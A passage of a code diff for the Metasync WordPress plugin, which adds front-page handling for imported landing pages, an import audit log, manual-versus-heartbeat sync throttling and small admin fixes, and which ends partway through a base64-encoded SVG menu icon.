-			// Home page (empty slug) maps to a dedicated 'home' slug. We deliberately
-			// do NOT change the site's front page — that stays a manual decision.
+			// Home page (isHome / empty slug) is handled specially below: it is
+			// created and set as the WordPress static front page so it serves at "/".
 			$effective_slug = ($is_home && $raw_slug === '') ? 'home' : $raw_slug;

 			// Normalize each segment exactly as WordPress will persist it, so the
@@ -1290,6 +1490,70 @@
 				continue;
 			}

+			// --- Home page: create it and set it as the WordPress static front page
+			// so it serves at "/" (the LPS app's router expects home at the root).
+			// The page is identified per-project via the META_LPS_HOME marker (value =
+			// assets_folder), so re-publishing the SAME project updates its own home
+			// instead of creating duplicates — even if its slug was renamed. A DIFFERENT
+			// project gets its own new home and takes over the front page; the previous
+			// project's home is left in place (non-destructive). Home conflicts are NOT
+			// reported to LPS — a taken 'home' slug just falls back to 'home-2'.
+			// Home dedup keys on external_ref (the LPS project UUID) when present,
+			// falling back to assets_folder for pre-external_ref imports (WP-449).
+			if ($is_home) {
+				$home_id = $this->find_lps_home_page($assets_folder, $external_ref);
+				$home_existing = $home_id > 0;
+				if ($home_existing) {
+					$res = wp_update_post(array('ID' => $home_id, 'post_title' => $title, 'post_status' => 'publish'), true);
+					if (is_wp_error($res)) {
+						$failed[] = array('slug' => 'home', 'code' => 'home_update_failed', 'message' => $res->get_error_message());
+						continue;
+					}
+				} else {
+					// 'home' if free; otherwise next available (home-2, ...). Front-page
+					// makes the slug invisible, so any free slug is fine.
+					$home_slug = get_page_by_path('home', OBJECT, 'page') ? $this->suggest_available_slug('home') : 'home';
+					$home_id = wp_insert_post(array(
+						'post_title'   => $title,
+						'post_name'    => $home_slug,
+						'post_type'    => 'page',
+						'post_status'  => 'publish',
+						'post_content' => ''
+					), true);
+					if (is_wp_error($home_id)) {
+						$failed[] = array('slug' => 'home', 'code' => 'home_insert_failed', 'message' => $home_id->get_error_message());
+						continue;
+					}
+				}
+
+				update_post_meta($home_id, Metasync_Custom_Pages::META_IS_CUSTOM_HTML_PAGE, '1');
+				update_post_meta($home_id, Metasync_Custom_Pages::META_CREATED_VIA_API, '1');
+				update_post_meta($home_id, Metasync_Custom_Pages::META_LPS_IMPORT, '1');
+				update_post_meta($home_id, Metasync_Custom_Pages::META_ASSETS_FOLDER, $assets_folder);
+				update_post_meta($home_id, Metasync_Custom_Pages::META_LPS_HOME, $assets_folder);
+				if ($external_ref !== '') {
+					update_post_meta($home_id, Metasync_Custom_Pages::META_LPS_PROJECT_REF, $external_ref);
+				}
+				update_post_meta($home_id, Metasync_Custom_Pages::META_HTML_ENABLED, '1');
+				update_post_meta($home_id, Metasync_Custom_Pages::META_HTML_CONTENT, wp_unslash($html));
+				update_post_meta($home_id, Metasync_Custom_Pages::META_HTML_FILENAME, $rel);
+
+				// Make it the site's static front page (serves at "/").
+				update_option('show_on_front', 'page');
+				update_option('page_on_front', $home_id);
+
+				wp_cache_delete($home_id, 'posts');
+				wp_cache_delete($home_id, 'post_meta');
+
+				$rec = array('slug' => get_post_field('post_name', $home_id), 'page_id' => $home_id, 'url' => get_permalink($home_id), 'is_front_page' => true);
+				if ($home_existing) {
+					$updated[] = $rec;
+				} else {
+					$created[] = $rec;
+				}
+				continue;
+			}
+
 			// Split slug into ancestors + leaf; resolve/create the parent chain.
 			$segments = explode('/', $effective_slug);
 			$leaf = sanitize_title(array_pop($segments));
@@ -1331,6 +1595,9 @@
 					}
 					update_post_meta($new_parent, Metasync_Custom_Pages::META_LPS_IMPORT, '1');
 					update_post_meta($new_parent, Metasync_Custom_Pages::META_ASSETS_FOLDER, $assets_folder);
+					if ($external_ref !== '') {
+						update_post_meta($new_parent, Metasync_Custom_Pages::META_LPS_PROJECT_REF, $external_ref);
+					}
 					$parent_id = $new_parent;
 				}
 				$slug_to_id[$ancestor_path] = $parent_id;
@@ -1393,6 +1660,9 @@
 			update_post_meta($page_id, Metasync_Custom_Pages::META_CREATED_VIA_API, '1');
 			update_post_meta($page_id, Metasync_Custom_Pages::META_LPS_IMPORT, '1');
 			update_post_meta($page_id, Metasync_Custom_Pages::META_ASSETS_FOLDER, $assets_folder);
+			if ($external_ref !== '') {
+				update_post_meta($page_id, Metasync_Custom_Pages::META_LPS_PROJECT_REF, $external_ref);
+			}
 			update_post_meta($page_id, Metasync_Custom_Pages::META_HTML_ENABLED, '1');
 			update_post_meta($page_id, Metasync_Custom_Pages::META_HTML_CONTENT, wp_unslash($html));
 			update_post_meta($page_id, Metasync_Custom_Pages::META_HTML_FILENAME, $rel);
@@ -1484,4 +1754,179 @@

 		return @rmdir($dir);
 	}
+
+	/**
+	 * Write exactly one persistent audit record for an LPS ZIP import.
+	 *
+	 * Called from both the REST handler (import_lps_page) and the MCP tool on
+	 * every exit path — success or failure. The record always lands in the
+	 * existing metasync_sync_history table (covered by its bounded cleanup),
+	 * independent of WP_DEBUG. Neither the ZIP bytes nor the page HTML are
+	 * stored: only sizes, counts, slugs and short reasons.
+	 *
+	 * @param array $ctx {
+	 *     @type WP_Error|array|null $result         Helper result (or WP_Error on failure).
+	 *     @type int                 $http_status    Mapped HTTP status (200/207/422/409/423/...).
+	 *     @type array               $input          source_type, zip_size_bytes, assets_folder, pages_in_manifest.
+	 *     @type int                 $start_ms       Start time in ms for duration (0 to skip).
+	 *     @type string              $auth_method    bearer|x-api-key|apikey-query|mcp-capability.
+	 *     @type string              $api_key_prefix Masked key prefix (NEVER the full key).
+	 *     @type string              $error_message  Optional externally-supplied error message.
+	 * }
+	 * @return void
+	 */
+	public static function write_lps_import_audit(array $ctx)
+	{
+		try {
+			require_once dirname(__FILE__, 2) . '/sync-history/class-metasync-sync-history-database.php';
+
+			$result         = isset($ctx['result']) ? $ctx['result'] : null;
+			$http_status    = isset($ctx['http_status']) ? (int) $ctx['http_status'] : 500;
+			$input          = (isset($ctx['input']) && is_array($ctx['input'])) ? $ctx['input'] : array();
+			$start_ms       = isset($ctx['start_ms']) ? (int) $ctx['start_ms'] : 0;
+			$auth_method    = isset($ctx['auth_method']) ? (string) $ctx['auth_method'] : '';
+			$api_key_prefix = isset($ctx['api_key_prefix']) ? (string) $ctx['api_key_prefix'] : '';
+			$ext_error      = isset($ctx['error_message']) ? (string) $ctx['error_message'] : '';
+			$duration_ms    = $start_ms > 0 ? max(0, (int) round(microtime(true) * 1000) - $start_ms) : null;
+
+			$per_page   = array();
+			$counts     = array('created' => 0, 'updated' => 0, 'failed' => 0, 'skipped' => 0);
+			$front_page = array('set' => false, 'page_id' => null);
+			$error_msg  = $ext_error;
+
+			if ($result instanceof WP_Error) {
+				$error_msg = $result->get_error_message();
+				$counts['failed'] = 1;
+			} elseif (is_array($result) && isset($result['data']) && is_array($result['data'])) {
+				$data = $result['data'];
+				$mode = isset($data['mode']) ? $data['mode'] : '';
+
+				if ($mode === 'multi') {
+					foreach ((isset($data['created']) && is_array($data['created'])) ? $data['created'] : array() as $p) {
+						$per_page[] = array(
+							'slug'    => isset($p['slug']) ? $p['slug'] : '',
+							'action'  => 'created',
+							'page_id' => isset($p['page_id']) ? $p['page_id'] : null,
+							'reason'  => null,
+						);
+						$counts['created']++;
+						if (!empty($p['is_front_page'])) {
+							$front_page = array('set' => true, 'page_id' => isset($p['page_id']) ? $p['page_id'] : null);
+						}
+					}
+					foreach ((isset($data['updated']) && is_array($data['updated'])) ? $data['updated'] : array() as $p) {
+						$per_page[] = array(
+							'slug'    => isset($p['slug']) ? $p['slug'] : '',
+							'action'  => 'updated',
+							'page_id' => isset($p['page_id']) ? $p['page_id'] : null,
+							'reason'  => null,
+						);
+						$counts['updated']++;
+						if (!empty($p['is_front_page'])) {
+							$front_page = array('set' => true, 'page_id' => isset($p['page_id']) ? $p['page_id'] : null);
+						}
+					}
+					foreach ((isset($data['failed']) && is_array($data['failed'])) ? $data['failed'] : array() as $p) {
+						$reason = isset($p['code']) ? $p['code'] : '';
+						if (isset($p['message'])) {
+							$reason .= ($reason !== '' ? ': ' : '') . $p['message'];
+						}
+						$per_page[] = array(
+							'slug'    => isset($p['slug']) ? $p['slug'] : '',
+							'action'  => 'failed',
+							'page_id' => null,
+							'reason'  => $reason !== '' ? $reason : 'failed',
+						);
+						$counts['failed']++;
+					}
+				} elseif ($mode === 'single') {
+					$single_action = !empty($data['was_update']) ? 'updated' : 'created';
+					$counts[$single_action] = 1;
+					$per_page[] = array(
+						'slug'    => isset($data['slug']) ? $data['slug'] : '',
+						'action'  => $single_action,
+						'page_id' => isset($data['page_id']) ? $data['page_id'] : null,
+						'reason'  => null,
+					);
+				}
+			} elseif ($result === null) {
+				// Never reached the extraction helper (early validation failure).
+				$counts['failed'] = 1;
+			}
+
+			if ($http_status === 200) {
+				$overall_status = 'success';
+			} elseif ($http_status === 207) {
+				$overall_status = 'partial';
+			} elseif ($http_status === 409) {
+				$overall_status = 'conflict';
+			} elseif ($http_status === 423) {
+				$overall_status = 'locked';
+			} else {
+				$overall_status = 'failed';
+			}
+
+			$assets_folder = isset($input['assets_folder']) ? $input['assets_folder'] : '';
+			$title_slug    = $assets_folder !== '' ? $assets_folder : (isset($per_page[0]['slug']) && $per_page[0]['slug'] !== '' ? $per_page[0]['slug'] : 'unknown');
+
+			$site_url = function_exists('get_site_url') ? get_site_url() : '';
+
+			$meta_payload = array(
+				'timestamp'         => function_exists('current_time') ? current_time('mysql') : date('Y-m-d H:i:s'),
+				'site_url'          => $site_url,
+				'api_key_prefix'    => $api_key_prefix,
+				'plugin_version'    => defined('METASYNC_VERSION') ? METASYNC_VERSION : '',
+				'auth_method'       => $auth_method,
+				'source_type'       => isset($input['source_type']) ? $input['source_type'] : 'unknown',
+				'assets_folder'     => $assets_folder,
+				'external_ref'      => isset($input['external_ref']) ? (string) $input['external_ref'] : '',
+				'zip_size_bytes'    => isset($input['zip_size_bytes']) ? (int) $input['zip_size_bytes'] : 0,
+				'pages_in_manifest' => isset($input['pages_in_manifest']) ? $input['pages_in_manifest'] : null,
+				'counts'            => $counts,
+				'front_page'        => $front_page,
+				'per_page'          => $per_page,
+				'http_status'       => $http_status,
+				'overall_status'    => $overall_status,
+				'error_message'     => $error_msg !== '' ? substr($error_msg, 0, 500) : '',
+				'duration_ms'       => $duration_ms,
+			);
+
+			// User-facing badge status: first import -> Published, re-sync -> Updated,
+			// nothing imported -> failed. Per-page conflicts are intentionally NOT
+			// surfaced here (Website Studio notifies the customer to republish).
+			if ($counts['created'] > 0) {
+			    $db_status = 'published';
+			} elseif ($counts['updated'] > 0) {
+			    $db_status = 'updated';
+			} else {
+			    $db_status = 'failed';
+			}
+			$db = new Metasync_Sync_History_Database();
+			$db->add(array(
+				'title'        => 'Website Studio (LPS) import: ' . $title_slug,
+				'source'       => 'Website Studio (LPS)',
+				'status'       => $db_status,
+				'content_type' => 'lps_import',
+				'url'          => $site_url,
+				'meta_data'    => json_encode($meta_payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE),
+			));
+
+			// Optional deep-debug breadcrumb — the DB write above always happens
+			// regardless of WP_DEBUG; this line is purely supplementary.
+			if (defined('WP_DEBUG') && WP_DEBUG) {
+				error_log(sprintf(
+					'Metasync LPS import audit: status=%s http=%d created=%d updated=%d failed=%d',
+					$overall_status,
+					$http_status,
+					$counts['created'],
+					$counts['updated'],
+					$counts['failed']
+				));
+			}
+		} catch (Throwable $e) {
+			if (defined('WP_DEBUG') && WP_DEBUG) {
+				error_log('Metasync LPS audit log failed: ' . $e->getMessage());
+			}
+		}
+	}
 }
--- a/metasync/custom-pages/class-metasync-custom-pages.php
+++ b/metasync/custom-pages/class-metasync-custom-pages.php
@@ -66,6 +66,17 @@
     const META_ASSETS_FOLDER = '_metasync_lps_assets_folder';

     /**
+     * Meta key marking a page as the LPS home page that is set as the site's
+     * static front page. Its value is the project's assets_folder, so a
+     * re-publish of the same project finds and updates its own home (instead of
+     * creating a duplicate), regardless of the page's slug.
+     */
+    const META_LPS_HOME = '_metasync_lps_home';
+
+    // Stable per-project LPS UUID; primary key for home-page dedup when external_ref is present.
+    const META_LPS_PROJECT_REF = '_metasync_lps_project_ref';
+
+    /**
      * Initialize the custom pages functionality
      */
     public function __construct()
--- a/metasync/customer-sync-requests/class-metasync-sync-requests.php
+++ b/metasync/customer-sync-requests/class-metasync-sync-requests.php
@@ -40,8 +40,16 @@

     /**
      * Data or Response received from HeartBeat API for admin area.
+     *
+     * @param string|null $token   Legacy auth token (unused by the request itself).
+     * @param string      $context 'manual' for the Settings "Sync Now" button,
+     *                             'heartbeat' for JS heartbeat ticks, '' for
+     *                             system callers (settings-save verification,
+     *                             cron connectivity test, category CRUD, REST).
+     *                             Only 'manual' consumes/stamps the manual
+     *                             cooldown (WP-426).
      */
-    public function SyncCustomerParams($token = null)
+    public function SyncCustomerParams($token = null, $context = '')
     {
         $categories_sync_limit = 1000;
         $users_sync_limit = 1000;
@@ -75,7 +83,7 @@
         $last_hb_request_time = $_throttle['last_heart_beat'] ?? 0;

         # PR3: Throttle depends on state — burst (KEY_PENDING within 30 min) allows 30s; else 5 min
-        $is_heartbeat = filter_var($_POST['is_heart_beat'] ?? false, FILTER_VALIDATE_BOOLEAN);
+        $is_heartbeat = ($context === 'heartbeat') || filter_var($_POST['is_heart_beat'] ?? false, FILTER_VALIDATE_BOOLEAN);
         $is_burst = !empty($_POST['is_burst']);
         $heartbeat_state = $metasync_options['general']['heartbeat_state'] ?? '';
         $state_changed_at = (int) ($metasync_options['general']['heartbeat_state_changed_at'] ?? 0);
@@ -96,10 +104,16 @@
                 ];
             }
             Metasync::set_heartbeat_throttle(['last_heart_beat' => time()]);
-        } else {
+        } elseif ($context === 'manual') {
             # Manual "Sync Now" path: track throttle via a dedicated option key so
             # heartbeat ticks (which update last_heart_beat every ~15s) cannot keep
             # the manual cooldown alive indefinitely.
+            # WP-426: only the Settings "Sync Now" button takes this branch. System
+            # callers (API-key save verification, cron connectivity test, category
+            # CRUD, REST sync) must neither be rejected by the manual cooldown —
+            # a throttled object reads as a failed verification and reverts a
+            # freshly saved API key — nor stamp it, which would lock the button
+            # for 5 minutes after every settings save.
             $last_manual_sync_time = (int) ($metasync_options['general']['last_manual_sync'] ?? 0);
             $manual_min_interval_sec = 60 * 5; // 5 minutes
             if (($last_manual_sync_time + $manual_min_interval_sec) > time()) {
--- a/metasync/google-index/class-google-index-admin.php
+++ b/metasync/google-index/class-google-index-admin.php
@@ -253,6 +253,9 @@
     {
         // Only show notices on MetaSync settings pages
         $page_slug = $this->get_metasync_page_slug();
+        if ( ! function_exists( 'get_current_screen' ) ) {
+            return;
+        }
         $current_screen = get_current_screen();

         if (!$current_screen || strpos($current_screen->id, $page_slug) === false) {
--- a/metasync/includes/class-metasync-admin-ajax.php
+++ b/metasync/includes/class-metasync-admin-ajax.php
@@ -44,6 +44,7 @@

         $type = isset($_POST['type']) ? sanitize_text_field($_POST['type']) : '';
         $plugin = isset($_POST['plugin']) ? sanitize_text_field($_POST['plugin']) : '';
+        $offset = isset($_POST['offset']) ? intval($_POST['offset']) : 0;

         if (empty($type) || empty($plugin)) {
             wp_send_json_error(['message' => 'Missing required parameters.']);
@@ -64,7 +65,7 @@
                 $result = $importer->import_robots($plugin);
                 break;
             case 'indexation':
-                $result = $importer->import_indexation($plugin);
+                $result = $importer->import_indexation($plugin, ['batch_size' => 50, 'offset' => $offset]);
                 break;
             case 'schema':
                 $result = $importer->import_schema($plugin);
@@ -140,8 +141,12 @@
         $general_options = Metasync::get_option('general') ?? [];
         $token = $general_options['apikey'] ?? null;

+        # WP-426: declare the call context explicitly so only the Settings
+        # "Sync Now" button consumes/stamps the 5-minute manual cooldown.
+        $is_heartbeat_tick = filter_var($_POST['is_heart_beat'] ?? false, FILTER_VALIDATE_BOOLEAN);
+
         # get the response
-        $response = $sync_request->SyncCustomerParams($token);
+        $response = $sync_request->SyncCustomerParams($token, $is_heartbeat_tick ? 'heartbeat' : 'manual');

         // Check if response is a throttling error object
         if (is_object($response) && isset($response->throttled) && $response->throttled === true) {
--- a/metasync/includes/class-metasync-admin-navigation.php
+++ b/metasync/includes/class-metasync-admin-navigation.php
@@ -647,7 +647,9 @@
         $plugin_name = Metasync::get_effective_plugin_name();
         $menu_name = $plugin_name;
         $menu_title = $plugin_name;
-        $menu_slug = !isset($data['white_label_plugin_menu_slug']) || $data['white_label_plugin_menu_slug'] == "" ? Metasync_Admin::$page_slug : $data['white_label_plugin_menu_slug'];
+        // Sanitize so a URL-shaped legacy value still yields a valid WP menu slug (WP-413)
+        $menu_slug = !isset($data['white_label_plugin_menu_slug']) || $data['white_label_plugin_menu_slug'] == "" ? Metasync_Admin::$page_slug : sanitize_title($data['white_label_plugin_menu_slug']);
+        $menu_slug = $menu_slug === '' ? Metasync_Admin::$page_slug : $menu_slug;
         $menu_icon = !isset($data['white_label_plugin_menu_icon']) || $data['white_label_plugin_menu_icon'] == "" ? 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzQiIHZpZXdCb3g9IjAgMCAzMiAzNCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGcgY2xpcC1wYXRoPSJ1cmwoI2NsaXAwXzE4NzlfMTcyNzcpIj4KPHBhdGggZD0iTTI5LjAyMTUgMi4xNjc2NkwzMC4wMTAxIDIuMTIyNDFMMjkuMTYyNyA4LjcyNzA1TDI5LjExNTcgOC44MTc0M0w1LjI5NTA0IDMzLjI0NTJMNC43MzAxMiAzMy4yOTA1TDQuMDcxMDQgMzMuOTY5MUgxLjk1MjYyTDIuMjM1MDggMzIuMjk1M0wyLjA5Mzg0IDMyLjM0MDZMMi4xODggMzEuNjYySDEuNjIzMDhDMS41NzYgMzEuNjYyIDEuNDgxODUgMzEuNjYyIDEuNDgxODUgMzEuNjE2N0MxLjQzNDc4IDMxLjU3MTYgMS4zODc3IDMxLjQ4MSAxLjM4NzcgMzEuNDM1OEwyLjUxNzU0IDI1LjEwMjdDMi41MTc1NCAyNS4wNTc1IDIuNTY0NiAyNS4wMTIyIDIuNTY0NiAyNS4wMTIyTDI2LjE5NjkgMC42Mjk2MDdDMjYuMjQ0IDAuNTg0MzY2IDI2LjI5MTEgMC41MzkxMjUgMjYuMzM4MSAwLjUzOTEyNUgyOC4zNjI1QzI4LjQwOTUgMC40OTM4ODQgMjguNDU2NiAwLjUzOTEyNSAyOC41MDM3IDAuNTg0MzY2QzI4LjU1MDcgMC42Mjk2MDcgMjguNTk3OSAwLjcyMDA3MSAyOC41OTc5IDAuNzY1MzExTDI4LjUwMzcgMS4zNTMzOUgyOS4xMTU3TDI5LjAyMTUgMi4xNjc2NlpNMS45MDU1NCAzMS4yMDk2SDIuMjgyMTZMMy4yMjM2OCAyNS43ODEySDMuMjcwNzZMNi44MDE1IDIyLjI1MjhMNi44NDg1MSAyMi4yOTgxTDIwLjIxODMgOC40NTU1N0wyNi45MDMxIDEuMzUzMzlIMjguMDMyOUwyOC4wNzk5IDAuOTkxNDk5SDI2LjQ3OTNMMi45ODgzIDI1LjIzODRMMS45MDU1NCAzMS4yMDk2Wk0yOC42OTE5IDguNTQ1OTVMMjkuNDQ1MiAyLjYyMDAxSDI4Ljk3NDVMMjguMzE1MyA3Ljc3Njk2TDI4LjI2ODMgNy44MjIyNEwyOC4xMjcxIDcuOTU3ODlMMjcuOTM4NyA5LjMxNTExTDI4LjY5MTkgOC41NDU5NVoiIGZpbGw9IndoaXRlIi8+CjxwYXRoIGQ9Ik0zMS41NTQ0IDE4LjE5MzdDMzEuNzM0OSAxOC42NjYyIDMxLjgwMjggMTkuMjA2NCAzMS42ODk4IDE5Ljc2OUwyOS42NTgyIDMyLjEwMTNIMjkuMDkzOUwyOS4wMjYyIDMyLjQzODhIMjUuOTMzNkwyNi4wNjkxIDMxLjYwNjJIMjYuMDAxM0wyNi4wNjkxIDMxLjI2ODZIMjUuNzk4MUMyNS43NTMgMzEuMjY4NiAyNS43MzA1IDMxLjI2ODYgMjUuNzA3OSAzMS4yNDYxQzI1LjY4NTIgMzEuMjIzNyAyNS42ODUyIDMxLjE3ODYgMjUuNjg1MiAzMS4xNTZMMjYuMzYyNCAyNy4zOThIMTguNDE2N0wxNy40MjM0IDMyLjA3ODdIMTYuODM2NUwxNi43Njg3IDMyLjQxNjNIMTMuNjk4OEwxMy45MDE5IDMxLjU4MzZIMTMuODM0M0wxMy45MDE5IDMxLjI2ODZIMTMuNjMxQzEzLjYwODQgMzEuMjY4NiAxMy41NjMzIDMxLjI2ODYgMTMuNTQwOCAzMS4yNDYxQzEzLjU0MDggMzEuMjAxMSAxMy41MTgyIDMxLjE3ODYgMTMuNTQwOCAzMS4xMzM2TDE2LjM2MjQgMTguOTEzOEMxNi40OTc5IDE4LjM1MTIgMTYuNzQ2MiAxNy44MzM2IDE3LjEyOTkgMTcuMzM4NUMxNy40OTEyIDE2Ljg2NiAxNy45NDI2IDE2LjQ4MzUgMTguNDYxOCAxNi4yMTM0QzE4Ljk4MSAxNS45MjA3IDE5LjUwMDIgMTUuNzg1OCAyMC4wNDE5IDE1Ljc4NThIMjguNTk3MkMyOS4xMzkgMTUuNzg1OCAyOS42MTMxIDE1LjkyMDcgMzAuMDE5MyAxNi4yMTM0QzMwLjM1NzkgMTYuNDYwOSAzMC42Mjg5IDE2Ljc5ODUgMzAuODA5NSAxNy4xODFDMzEuMTI1NSAxNy40NTExIDMxLjM5NjMgMTcuNzg4NiAzMS41NTQ0IDE4LjE5MzdaTTI3LjQ5MTIgMjMuMzY5N0wyOC4wNTU1IDIwLjI2NDFDMjguMDMyOSAyMC4yNDE1IDI4LjAzMjkgMjAuMjE5MSAyOC4wMTA0IDIwLjIxOTFIMjcuODk3NUwyNy4zNzgzIDIzLjA5OTZDMjcuMzc4MyAyMy4xNDQ3IDI3LjMxMDYgMjMuMTg5NiAyNy4yNjU1IDIzLjE4OTZIMTkuMzQyMUwxOS4yOTcgMjMuMzY5N0gyNy40OTEyWk0xOS4wOTM5IDIzLjE4OTZIMTguODQ1NUwxOC44MjI5IDIzLjM2OTdIMTkuMDcxM0wxOS4wOTM5IDIzLjE4OTZaTTE5LjUwMDIgMjAuMjY0MUwxOC45MTMzIDIyLjk2NDZIMTkuMTYxNUwxOS43NDg0IDIwLjIxOTFIMTkuNTQ1M0MxOS41NDUzIDIwLjIxOTEgMTkuNTIyNyAyMC4yNDE1IDE5LjUwMDIgMjAuMjY0MVpNMjcuNjcxOCAyMC4yMTkxSDE5Ljk3NDJMMTkuMzg3MiAyMi45NjQ2SDI3LjE3NTFMMjcuNjcxOCAyMC4yMTkxWk0xMy43ODkgMzEuMDQzNkgxMy45NDdMMTUuMDk4NCAyNi4xMTUySDE1LjE2NkwxNi43MjM2IDE5LjI5NjRDMTYuODU5MSAxOC43NTYzIDE3LjEwNzMgMTguMjM4OCAxNy40Njg1IDE3Ljc2NjFDMTcuODI5NiAxNy4zMTYxIDE4LjI4MTIgMTYuOTMzNCAxOC43Nzc4IDE2LjY2MzNDMTkuMDI2MSAxNi41Mjg0IDE5LjI3NDUgMTYuNDM4NCAxOS41MjI3IDE2LjM0ODNMMTkuNTAwMiAxNi4zMDM0QzE5Ljc0ODQgMTYuMjEzNCAyMC4wMTkzIDE2LjE5MDggMjAuMjkwMyAxNi4xOTA4SDI4Ljg2ODJDMjkuMjI5NCAxNi4xOTA4IDI5LjU5MDUgMTYuMjU4MyAyOS44ODQgMTYuMzkzNEMyOS41MjI5IDE2LjEyMzMgMjkuMDkzOSAxNi4wMTA4IDI4LjU5NzIgMTYuMDEwOEgyMC4wNDE5QzE5LjU0NTMgMTYuMDEwOCAxOS4wNDg2IDE2LjE0NTkgMTguNTc0NyAxNi4zOTM0QzE4LjA3OCAxNi42NjMzIDE3LjY0OTEgMTcuMDIzNSAxNy4zMTA0IDE3LjQ5NkMxNi45NDkzIDE3Ljk0NjIgMTYuNzAxIDE4LjQ0MTIgMTYuNTg4MSAxOC45NTg5TDEzLjc4OSAzMS4wNDM2Wk0xNy4yMjAyIDMxLjg1MzdMMTguMTkxIDI3LjM5OEgxNy45NDI2TDE3LjAxNzEgMzEuNTgzNkgxNi45NDkzTDE2LjkwNDIgMzEuODUzN0gxNy4yMjAyWk0yNS45MzM2IDMxLjA0MzZIMjYuMTE0MkwyNi43Njg5IDI3LjM5OEgyNi41ODgzTDI1LjkzMzYgMzEuMDQzNlpNMzEuNDg2NyAxOS43NDY0QzMxLjU3NjkgMTkuMjA2NCAzMS41MDkzIDE4LjcxMTMgMzEuMzI4NyAxOC4yNjEyQzMxLjI4MzYgMTguMTQ4OCAzMS4yMTU4IDE4LjAzNjIgMzEuMTQ4MSAxNy45MjM2QzMxLjI4MzYgMTguMzUxMiAzMS4zMjg3IDE4LjgwMTQgMzEuMjM4MyAxOS4yOTY0TDMwLjA4NzIgMjYuMTE1MkwzMC4xNTQ4IDI2LjEzNzdMMjkuMjUxOSAzMS42MDYySDI5LjE4NDNMMjkuMTM5IDMxLjg3NjNIMjkuNDU1TDMxLjQ4NjcgMTkuNzQ2NFoiIGZpbGw9IndoaXRlIi8+CjxwYXRoIGQ9Ik0xNy42ODQ3IDIuNDI3MTdIMTcuNjYxOEMxNy44NjgyIDIuODk5MTIgMTcuOTE0IDMuNDM4NDkgMTcuODIyMiA0LjAwMDMzTDE3LjU5MjkgNS4zOTM3SDE3LjA0MjNMMTYuOTczNSA1LjczMDhIMTMuOTY4NEwxNC4xMjkxIDQuODk5MjhIMTQuMDM3M0wxNC4xMDYyIDQuNTg0NjRIMTMuODUzOEMxMy44MDggNC41ODQ2NCAxMy43ODUxIDQuNTYyMTcgMTMuNzYyIDQuNTM5NjlDMTMuNzM5MSA0LjUxNzIzIDEzLjczOTEgNC40OTQ3NSAxMy43MzkxIDQuNDQ5OEg1LjkxNjg2TDUuNTQ5ODcgNi4wOTAzOUgxMy41Nzg1QzE0LjEyOTEgNi4wOTAzOSAxNC42MzM3IDYuMjQ3NzEgMTUuMDQ2NyA2LjUzOTg3QzE1LjM2NzggNi43NDIxMyAxNS41OTcxIDcuMDU2NzcgMTUuODAzNiA3LjM3MTQxQzE1Ljg0OTUgNy40Mzg4OSAxNS44NzI0IDcuNDgzODIgMTUuOTE4NCA3LjU1MTEyQzE2LjIxNjYgNy43OTgzMiAxNi40Njg4IDguMTEyOTkgMTYuNjI5NSA4LjQ5NTE0QzE2LjgzNTkgOC45NjY5OCAxNi45MDQ4IDkuNTA2NDcgMTYuNzkwMSAxMC4wOTA3TDE2LjI4NTMgMTMuMTY5NkMxNi4xOTM1IDEzLjczMTUgMTUuOTQxMyAxNC4yNDg0IDE1LjU3NDMgMTQuNzQyOEMxNS4yMDcyIDE1LjIxNDcgMTQuNzQ4NCAxNS41OTY4IDE0LjIyMDggMTUuODg4OUMxNC4xNTIgMTUuOTExNSAxNC4wNjAyIDE1Ljk1NjQgMTMuOTkxNSAxNS45Nzg4QzEzLjg3NjcgMTYuMDY4OCAxMy43NjIgMTYuMTU4NyAxMy42MjQ1IDE2LjIyNkMxMy4wOTY4IDE2LjQ5NTcgMTIuNTY5MiAxNi42NTMxIDExLjk5NTcgMTYuNjUzMUgyLjYzNjYxQzIuMDg2MDcgMTYuNjUzMSAxLjU4MTQxIDE2LjQ5NTcgMS4xNjg1IDE2LjIyNkMwLjc1NTYxIDE1Ljk1NjQgMC40ODAzMzEgMTUuNTc0MyAwLjMxOTc1IDE1LjEyNDhDMC4xODIxMiAxNC43NjUyIDAuMTU5MTg3IDE0LjQwNTggMC4xODIxMTkgMTQuMDAxMkMwLjE4MjExOSAxMy45NTYxIDAuMTM2MjU0IDEzLjkzMzggMC4xMzYyNTQgMTMuODg4OEMtMC4wMjQzMjYxIDEzLjQxNjggLTAuMDQ3MjU4MSAxMi44Nzc1IDAuMDkwMzcyNSAxMi4zMTU2TDAuMzg4NTgzIDExLjAxMjJDMC4zODg1ODMgMTAuOTY3MyAwLjQ1NzM5OCAxMC45MjIzIDAuNTAzMjY0IDEwLjkyMjNIMy41NTQxN0MzLjU3NzExIDEwLjkyMjMgMy42MDAwNCAxMC45NDQ3IDMuNjIyOTkgMTAuOTY3M0MzLjY0NTkyIDEwLjk4OTYgMy42Njg4NyAxMS4wMzQ2IDMuNjQ1OTIgMTEuMDU3MUwzLjYwMDA0IDExLjMyNjlIMy44OTgyNUwzLjgwNjUgMTEuNzMxNEg0LjMxMTE2TDQuMjE5MzkgMTIuMjAzMkgxMi4yNzFDMTIuMjcxIDEyLjIwMzIgMTIuMjcxIDEyLjIwMzIgMTIuMjkzOSAxMi4xODA4QzEyLjI5MzkgMTIuMTU4MyAxMi4zMTY4IDEyLjE1ODMgMTIuMzE2OCAxMi4xNTgzTDEyLjU5MjEgMTAuNTYyN0gzLjk5MDAyQzMuNDM5NDggMTAuNTYyNyAyLjk1Nzc1IDEwLjQyNzggMi41Njc3OSAxMC4xMzU2QzIuMTU0ODggOS44NjU5IDEuODc5NjIgOS41MDY0NyAxLjcxOTA0IDkuMDM0NDZDMS42MDQzNCA4LjY5NzQxIDEuNTU4NDYgOC4zMzc4MSAxLjYwNDM0IDcuOTMzMjhDMS42MDQzNCA3Ljg4ODM1IDEuNTU4NDYgNy44NjU4IDEuNTU4NDYgNy44MjA4N0MxLjM5NzkgNy4zNDg4NiAxLjM3NDk3IDYuODA5NTYgMS41MTI2IDYuMjI1MjNMMi4yNDY2NSAzLjE0NjM0QzIuMzg0MjggMi41ODQ0OSAyLjYzNjYxIDIuMDY3NTggMy4wMDM2MyAxLjU3MzE2QzMuMzcwNjYgMS4xMDEyMiAzLjgyOTQ0IDAuNzE5MTUyIDQuMzU3MDQgMC40NDk0NzZDNC44ODQ2MyAwLjE1NzMxOSA1LjQxMjI0IDAgNS45NjI4MyAwS